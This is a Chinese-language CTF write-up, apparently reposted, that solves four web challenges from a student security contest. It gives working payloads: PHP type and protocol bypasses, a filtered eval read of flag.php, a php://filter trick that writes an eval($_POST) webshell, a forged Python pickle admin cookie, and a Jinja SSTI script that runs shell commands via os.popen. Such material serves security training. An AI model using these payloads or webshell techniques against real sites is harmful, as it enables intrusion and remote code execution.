[第四屆全國中學生網絡安全競賽初賽] Web WriteUp


畢業了報不了名,就問朋友要來了Web題自己在本地打了打,感覺比去年的Web簡單一些,記錄一下題解

HS.com

打開題目發現405,然后查看返回包可以看到Allowed-Request-Method: HS
將請求方式改為HS再次請求得到源碼:

<?php 
error_reporting(0); 
$fake_data = $_GET['innerspace']; 
$data = $_REQUEST['innerspace']; 
if ($_SERVER['REQUEST_METHOD'] === "HS") { 
    if (isset($data)) { 
        if ($data === "mssctf" && $data !== $fake_data) { 
            include_once "flag.php"; 
            echo $flag; 
        } else { 
            echo "My house is pretty big."; 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
} 
else { 
    header('HTTP/1.1 405 Something Goes Wrong'); 
    header('Allowed-Request-Method: HS'); 
}

可以看到需要data的值不等於fake_data的值,然后發現兩個值的獲取方式不同:

$fake_data = $_GET['innerspace']; 
$data = $_REQUEST['innerspace']; 

這里需要提到的是$_REQUEST的取值方法,默認為GPCS意思是GET, POST, COOKIE, ENV and SERVER,靠后請求方式傳的值會覆蓋前面請求方式傳來的值
但是需要注意的是這里我們將請求方式改為了HS無法通過POST方式傳遞POST數據,所以通過cookie向data傳值來覆蓋get方式傳的值:
最終構造HTTP請求包:

HS /index.php?innerspace=ye
......(省略)
Cookie: innerspace=mssctf

發送即可獲得flag

babyphp

打開題目得到源碼:

<?php
error_reporting(0);
highlight_file(__FILE__);

$mss1 = $_POST['level1'];
$mss2 = $_POST['level2'];
$mss3 = $_POST['level3'];

if (intval($mss1) < 2021 && intval($mss1 + 2) > 2022) {

    $mss4 = file_get_contents($mss2,'r');
    if ($mss4 === "mssCTF is interesting!") {
        
        if (!preg_match("/[0-9]|\`|\^|\\$|\*|\%|\~|\+|\{|\}|\'|\\\"|\,|\<|\>|\.|\/|\?/i", $mss3)) {
            echo "Regex is so wonderful!";
            echo "<br/>";
            eval($mss3);
        }

        else {
            echo "Success is near!";
            echo "<br/>";
        }
    }

    else {
        echo "Do you like PHP?";
        echo "<br/>";
    }
}

else {
    echo "Level1 is a babe trick,try again!";
    echo "<br/>";
}

Level1

第一層是一個簡單的Trick
if (intval($mss1) < 2021 && intval($mss1 + 2) > 2022)
做法可以參考 WUSTCTF 朴實無華
除了科學記數法外,十六進制也是可以繞過的,構造:
level1=0x1024

Level2

第二層也是一個老操作了,data協議base64編碼即可讓file_get_contents()獲取到需要的值
構造:data://text/plain;base64,bXNzQ1RGIGlzIGludGVyZXN0aW5nIQ==

Level3

第三層有點繞,好像在哪里做過類似的題,認真看正則:
if (!preg_match("/[0-9]|\`|\^|\\$|\*|\%|\~|\+|\{|\}|\'|\\\"|\,|\<|\>|\.|\/|\?/i", $mss3))
過濾了數字以及很多符號,發現字母、_ 、(、)、;沒有過濾
先構造一個system(ls);看看目錄下文件:flag.php index.php
想要讀取flag.php但是.被過濾掉了,這個時候有兩個思路:
1.對文件名進行編碼
2.利用一些函數構造出文件名
第一種思路由於數字被過濾所以無法實現,這時候就可以通過PHP函數來構造出函數名
構造出scandir(dirname(__FILE__))可以將本目錄下所有的文件名存為數組:

接下來就是想辦法從數組中提取出flag.php,但是過濾了數字便無法直接從數組中取值,這個時候想到了array_rand()函數:

array_rand() 函數返回數組中的隨機鍵名,或者如果您規定函數返回不只一個鍵名,則返回包含隨機鍵名的數組。

需要注意的是該函數返回的是鍵名,也就是數字:

利用array_rand()函數我們可以構造出數字,接下來構造出文件名:
print(scandir(dirname(__FILE__))[array_rand(scandir(dirname(__FILE__)))]);

多請求幾次就可以得到我們的flag文件(原題是flag.php,這里本地搭建的直接起名flag,不過還是按照原題來分析)
最后再利用readfile()函數獲取到文件內容,構造出:
level3=readfile(scandir(dirname(__FILE__))[array_rand(scandir(dirname(__FILE__)))]);
多請求幾次就能得到flag.php的內容
最后的Payload:
level1=0x1024&level2=data://text/plain;base64,bXNzQ1RGIGlzIGludGVyZXN0aW5nIQ==&level3=readfile(scandir(dirname(__FILE__))[array_rand(scandir(dirname(__FILE__)))]);

easy include

進入題目得到源碼:

<?php
error_reporting(0);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_POST['c'];
if(!isset($b)){
    highlight_file(__FILE__);
}
function check_out($x){
    str_replace("data","???",$x);
    str_replace("zip","???",$x);
    str_replace("zlib","???",$x);
    str_replace("file","???",$x);
    str_replace("rot13","???",$x);
}
if($array[++$a]=1){
    if($array[]=1){
        echo "Come on!";
    }else{
        echo "Good,you have already solve the first problem";
        check_out($b);
        file_put_contents($b,"<?php die('Victory is in sight');?>".$c);
    }
}
?>

PHP數組key溢出

首先需要繞過的就是這里:

if($array[++$a]=1){
    if($array[]=1){

查閱文檔可以看到:

語法“index => values”,用逗號分開,定義了索引和值。索引可以是字符串或數字。如果省略了索引,會自動產生從 0 開始的整數索引。如果索引是整數,則下一個產生的索引將是目前最大的整數索引 + 1。注意如果定義了兩個完全一樣的索引,則后面一個會覆蓋前一個。

在NEWSCTF中就出現了PHP數組key溢出的Trick,原理就是當key等於PHP int類型數據的最大值時,想要再插入一個更大的值便會造成溢出導致出現Warning,關於PHP int類型數據最大值的參考文獻如下:

PHP的int型數據取值范圍,與操作系統相關,32位系統上為2的31次方,即-2147483648到2147483647,64位系統上為2的63次方,即-9223372036854775808到9223372036854775807。

因此構造a=9223372036854775806即可繞過第一層

繞過死亡exit

進入第二層:

echo "Good,you have already solve the first problem";
check_out($b);
file_put_contents($b,"<?php die('Victory is in sight');?>".$c);

可以看到check_out()函數會將data、zip、zlib、file、rot13替換為???,然后會在我們寫入的文件內容前拼接上<?php die('Victory is in sight');?>
繞過死亡exit可以參考P神的文章談一談php://filter的妙用
還可以參考:ctf 死亡exit繞過
然后我們可以構造出:
a=9223372036854775806&b=php://filter/write=convert.base64-decode/resource=1.php
POST數據:c=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ //解碼內容為<?php eval($_POST[1]);?>
這里需要說明的是在payload前補足兩個a的原因:

base64只能識別64個字符a-z0-9A-Z+],並且解碼以4byte一組,所以<?php die('Victory is in sight');?>會識別為phpdieVictoryisinsight,共計22個字符,我們補足兩個a就可以湊夠24byte(6組)來湊夠base64編碼數

發送請求后打開1.php可以看到die已經被解碼不見:

蟻劍連接1.php,密碼為1,即可看到Flag:

fake_site

Python pickle反序列化+SSTI,這道題由於無法本地部署所以一直在等復現環境,更新的慢了一些
進入題目在主頁源碼中發現備注:

<!-- TODO:
     1. login page
     2. register page
     3. forum page
     4. emmmm... I want to play MonsterHunter...
     5. Hs loves Hanser
-->

挨個測試后發現只有/login可以訪問,嘗試登陸后發現會出現:

同時用戶名和密碼只允許輸入4-16位的數字和字母,因而不存在SQL注入
這個時候看到了Hint:Do u know what is unserialize?
一開始的思路是認為是PHP反序列化,進而想到可能存在源碼泄漏,因為只有通過審計代碼才能確定pop鏈以及漏洞利用點,但是測了一下常見的源碼泄漏文件名發現並沒有源碼泄漏
之后F12的時候發現Cookie命名是HSession,也就是說Cookie是開發者自己定義的,感覺可能找到了突破點,讀取Cookie如下:
HSession: gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg%3D%3D
最后是有兩個URL編碼的,解碼后得到:
HSession: gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg==
但是直接解碼卻會得到很多不可見字符:

這個時候感覺可能不是PHP反序列化了,因為PHP反序列化不會出現大量的不可見字符,先用Python寫個解碼腳本看一下:

import base64

cookie = "gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg=="
us = base64.b64decode(cookie.encode())
print(us)  # \x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x08username\x94\x8c\x04test\x94\x8c\x05admin\x94\x89u

之后跟出題人交流了一下才知道是Python反序列化,繼續寫腳本來反序列化解碼得到的內容:

import base64
import pickle

cookie = "gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg=="
us = base64.b64decode(cookie.encode())
#print(us)
s = pickle.loads(us)
print(s)

運行后得到:{'username': 'test', 'admin': False} test 是我登錄時輸入的用戶名,而序列化字段中還有一個admin字段為Flase,我們重新構造一下:{'username': 'test', 'admin': True}
然后寫一個腳本對其進行序列化,然后再進行base64編碼:

import base64
import pickle

cookie = {'username': 'test', 'admin': True}
s = pickle.dumps(cookie)
result = base64.b64encode(s)
print(result)

得到cookiegASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIh1Lg==
然后用得到的cookie替換原來的HSession再次訪問/profile

用戶名被直接輸出,猜測可能是ssti,修改用戶名為{2*2} 再次構造訪問發現2*2被執行,fuzz一下發現過濾了. + ' os class flag system等字符,一個簡單的bypass就不過多贅述了,直接附上官方wp給的exp:

from base64 import b64decode as bd
from base64 import b64encode as be
from urllib import parse
import pickle
import requests
import time


#url = input("\033[1;34m[^_^] ? Input Target Url: \033[0m") + "profile"
url = "http://127.0.0.1:5000/profile"
while True:
    code = input("\033[1;34m[^_^] > \033[0m")
    if code == "BRUTE":
        for i in range(0, 200):
            print("@ ",i)
            pcode = r'{{""["__cla""ss__"]["__ba""se__"]["__subcl""asses__"]()[' + str(i) + r']["__in""it__"]["__glo""bals__"]["__buil""tins__"]["eval"]("__import__(\"o\"\"s\")")["popen"]("echo hsyyds")["read"]()}}'
            user = {"username": pcode, "admin": True}
            headers = {
                "Cookie": "HSession="+parse.quote(be(pickle.dumps(user))),
            }
            response = requests.get(url=url, headers=headers)
            if "500" in response.text:
                print("\033[1;31m[x_x] @", i, " is not correct.\033[0m")
            if "hsyyds" in response.text:
                print("\033[1;33m[@_@] Probably find flag.\033[0m")
                print("\033[1;33m", response.text, "\033[0m")
                break
            time.sleep(0.2)
    else:
        user = {"username": "{{"+code+"}}", "admin": True}
        headers = {
            "Cookie": "HSession="+parse.quote(be(pickle.dumps(user))),
        }
        response = requests.get(url=url, headers=headers)
        if "500 Internal Server Error" in response:
            print("\033[1;31m[x_x] Execute Error.\033[0m")
        else:
            print(response.text)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM